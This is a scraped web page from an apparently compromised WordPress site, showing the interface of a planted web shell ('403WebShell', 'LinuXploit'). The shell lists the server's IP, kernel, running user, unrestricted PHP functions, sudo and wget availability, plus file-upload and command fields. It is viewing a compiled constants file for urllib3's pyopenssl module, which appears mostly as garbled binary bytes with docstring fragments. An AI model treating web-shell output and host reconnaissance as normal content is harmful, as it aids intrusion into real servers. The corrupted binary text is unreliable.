Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /nuitka/eggshell.build/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /nuitka/eggshell.build/module.urllib3.contrib.pyopenssl.const
��*�&too many values to unpack (expected 2)�.��
�	<genexpr>�.���_validate_dependencies_met�.���PyOpenSSLContext�.���util�.���
SSLContext�.���ssl_�.���HAS_SNI�.���IS_PYOPENSSL�.��;�7Monkey-patch urllib3 with PyOpenSSL-backed SSL-support.�.���orig_util_SSLContext�.���orig_util_HAS_SNI�.��8�4Undo monkey-patching by :func:`inject_into_urllib3`.�.�� �cryptography.x509.extensions�.���
Extensions���.�K.�h.���get_extension_for_class�.��\�X'cryptography' module missing required functionality.  Try upgrading to v1.3.4 or newer.�.���OpenSSL.crypto�.��
�X509���.�h.��	�_x509�.��W�S'pyOpenSSL' module missing required functionality. Try upgrading to v0.14 or newer.�.���{
    Verifies that PyOpenSSL's package-level dependencies have been met.
    Throws `ImportError` if they are not met.
    �.�����
        Borrowed wholesale from the Python Cryptography Project. It turns out
        that we can't just safely call `idna.encode`: it can explode for
        wildcard names. This avoids that problem.
        �.���idna_encode�.��+�'_dnsname_to_stdlib.<locals>.idna_encode�.���:�.��
�decode�.���utf-8���.��,X%
    Converts a dNSName SubjectAlternativeName field to the form used by the
    standard library on the given Python version.

    Cryptography produces a dNSName as a unicode string that was idna-decoded
    from ASCII bytes. We need to idna-encode that string to get it back, and
    then on Python 3 we also need to convert to unicode via UTF-8 (the stdlib
    uses PyUnicode_FromStringAndSize on it, which decodes via UTF-8).

    If the name cannot be idna-encoded then we return None signalling that
    the name given should be skipped.
    �.���idna�.���*.��.���.���name�.���
startswith�.��
�encode�.���ascii���.���core�.��
�	IDNAError�.���to_cryptography�.���_Certificate�.���openssl_backend�.���
extensions�.���x509�.���SubjectAlternativeName�.��	�value�.���ExtensionNotFound�.���DuplicateExtension�.���UnsupportedExtension�.���UnsupportedGeneralNameType�.���log�.���warning�.�����A problem was encountered with the certificate that prevented urllib3 from finding the SubjectAlternativeName field. This can affect certificate validation. The error was %s�.���_dnsname_to_stdlib�.���get_values_for_type�.���DNSName�.���DNS�.��
�extend�.��
�	IPAddress�.��Y�U
    Given an PyOpenSSL certificate, provides all the subject alternative names.
    �.���
IP Address�.��(�$get_subj_alt_name.<locals>.<genexpr>�.���
connection�.��
�socket�.���suppress_ragged_eofs�.���_makefile_refs�.���_closed�.��
�fileno�.�K.��	�close�.���recv�.���OpenSSL�.���SSL�.���SysCallError�.���args�.��J�����Unexpected EOF���.��C�.���SocketError�.���e�.���ZeroReturnError�.���get_shutdown�.���RECEIVED_SHUTDOWN�.���
WantReadError�.���
wait_for_read�.���
gettimeout�.���timeout�.��"�The read operation timed out���.��	�Error�.���ssl�.���SSLError�.���read error: %r�.��
�	recv_into�.���
settimeout�.���self�.���send�.���data�.���WantWriteError�.���wait_for_write�.���
total_sent�.���_send_until_done�.���SSL_WRITE_BLOCKSIZE�.���shutdown�.���get_peer_certificate�.��
�crypto�.���dump_certificate�.���
FILETYPE_ASN1�.���subject�.���
commonName�.���get_subject�.���CN�.���subjectAltName�.���get_subj_alt_name�.���get_protocol_version_name�.���_fileobject�.��}�hH�s.���_openssl_versions�.���protocol�.���Context�.���_ctx�.���_options�.���check_hostname�.���set_options�.���_openssl_to_stdlib_verify�.���get_verify_mode�.���
set_verify�.���_stdlib_to_openssl_verify�.���_verify_callback�.���set_default_verify_paths�.���six�.��
�	text_type�.���set_cipher_list�.���load_verify_locations�.���BytesIO�.���use_certificate_chain_file�.���binary_type�.���
set_passwd_cb�.���<lambda>�.��6�2PyOpenSSLContext.load_cert_chain.<locals>.<lambda>�.���use_privatekey_file�.���password�.���
Connection�.���set_tlsext_host_name�.���cnx�.���set_connect_state�.���do_handshake�.���sock�.���select timed out���.���bad handshake: %r�.���
WrappedSocket�.��iXb
SSL with SNI_-support for Python 2. Follow these instructions if you would
like to verify SSL certificates in Python 2. Note, the default libraries do
*not* do certificate checking; you need to do additional work to validate
certificates yourself.

This needs the following packages installed:

* pyOpenSSL (tested with 16.0.0)
* cryptography (minimum 1.3.4, from pyopenssl)
* idna (minimum 2.0, from cryptography)

However, pyopenssl depends on cryptography, which depends on idna, so while we
use all three directly here we end up having relatively few packages required.

You can install them with the following command:

    pip install pyopenssl cryptography idna

To activate certificate checking, call
:func:`~urllib3.contrib.pyopenssl.inject_into_urllib3` from your Python code
before you begin making HTTP requests. This can be done in a ``sitecustomize``
module, or at any other time before your application begins using ``urllib3``,
like this::

    try:
        import urllib3.contrib.pyopenssl
        urllib3.contrib.pyopenssl.inject_into_urllib3()
    except ImportError:
        pass

Now you can use :mod:`urllib3` as you normally would, and it will support SNI
when the required modules are installed.

Activating this module also has the positive side effect of disabling SSL/TLS
compression in Python 2 (see `CRIME attack`_).

If you want to configure the default list of supported cipher suites, you can
set the ``urllib3.contrib.pyopenssl.DEFAULT_SSL_CIPHER_LIST`` variable.

.. _sni: https://en.wikipedia.org/wiki/Server_Name_Indication
.. _crime attack: https://en.wikipedia.org/wiki/CRIME_(security_exploit)
�.���__doc__�.��?�;/usr/lib/python3/dist-packages/urllib3/contrib/pyopenssl.py�.���__file__�.���__spec__�.��
�origin�.���has_location�.���
__cached__�.���absolute_import�.���OpenSSL.SSL�.���cryptography�.��h/��.��(�$cryptography.hazmat.backends.openssl�.��
�backend���.�h�.��-�)cryptography.hazmat.backends.openssl.x509�.��h,��.���cryptography.x509�.��h4��.���builtins��	Exception�����.��
�	metaclass�.���__prepare__�.���__getitem__�.��2�.%s.__prepare__() must return a mapping, not %s�.���__name__�.���<metaclass>�.���urllib3.contrib.pyopenssl�.���
__module__�.���__qualname__�.���__orig_bases__�.��
hY�error���.�h�.��hv��.���packages.backports.makefile�.���backport_makefile���.�K.�h�.���logging�.���sys�.����.��h��.��2]�(�inject_into_urllib3��extract_from_urllib3�e.���__all__�.���PROTOCOL_TLS�.���
SSLv23_METHOD�.���PROTOCOL_TLSv1�.���TLSv1_METHOD�.���PROTOCOL_SSLv3�.���SSLv3_METHOD�.���PROTOCOL_TLSv1_1�.���TLSv1_1_METHOD�.���PROTOCOL_TLSv1_2�.���TLSv1_2_METHOD�.��
�	CERT_NONE�.���VERIFY_NONE�.���
CERT_OPTIONAL�.���VERIFY_PEER�.���
CERT_REQUIRED�.���VERIFY_FAIL_IF_NO_PEER_CERT�.��M@.��
�	getLogger�.���urllib3.contrib.pyopenssl���.���inject_into_urllib3�.���extract_from_urllib3�.��h��object�����.�����API-compatibility wrapper for Python OpenSSL's Connection-class.

    Note: _makefile_refs, _drop() and _reuse() are needed for the garbage
    collector of pypy.
    �.�����.���__init__�.���WrappedSocket.__init__�.���WrappedSocket.fileno�.���_decref_socketios�.��#�WrappedSocket._decref_socketios�.���WrappedSocket.recv�.���WrappedSocket.recv_into�.���WrappedSocket.settimeout�.��"�WrappedSocket._send_until_done�.���sendall�.���WrappedSocket.sendall�.���WrappedSocket.shutdown�.���WrappedSocket.close�.�����.���getpeercert�.���WrappedSocket.getpeercert�.���version�.���WrappedSocket.version�.��
�_reuse�.���WrappedSocket._reuse�.��	�_drop�.���WrappedSocket._drop�.��J������.���makefile�.�����
    I am a wrapper class for the PyOpenSSL ``Context`` object. I am responsible
    for translating the interface of the standard library ``SSLContext`` object
    to calls into PyOpenSSL.
    �.���PyOpenSSLContext.__init__�.���property�.���options�.���PyOpenSSLContext.options�.��
�setter�.���verify_mode�.�� �PyOpenSSLContext.verify_mode�.��-�)PyOpenSSLContext.set_default_verify_paths�.���set_ciphers�.�� �PyOpenSSLContext.set_ciphers�.��NNN��.��*�&PyOpenSSLContext.load_verify_locations�.��NN��.���load_cert_chain�.��$� PyOpenSSLContext.load_cert_chain�.��(���Nt�.���wrap_socket�.�� �PyOpenSSLContext.wrap_socket�.���.0��k��v���.��
jh$��.��	�_�h���.��h���.���
<listcomp>�.��h$��.��&�"<module urllib3.contrib.pyopenssl>�.���	__class__���.��(hbhBhChDt�.��hbhy��.��hb��.��h$h��.��	hbhdhR��.��	hhh/��.��+(h�h/�err_no��	err_depth��return_code�t�.��'(�	peer_cert��cert��ext�hR�names�t�.��hb�binary_form�h/��.��h$h �prefix���.��(hb�certfile��keyfile�h�t�.��!(hb�cafile��capath��cadata�t�.��hb�mode��bufsize���.��hbh1��.��(hbhM�kwargs�hdhRt�.��(hbhMj:hRt�.��(hbhdhg�sent�t�.��hb�ciphers���.��hbhY��.��H(hbh��server_side��do_handshake_on_connect�hD�server_hostname�h�hRt�.

Youez - 2016 - github.com/yon3zu
LinuXploit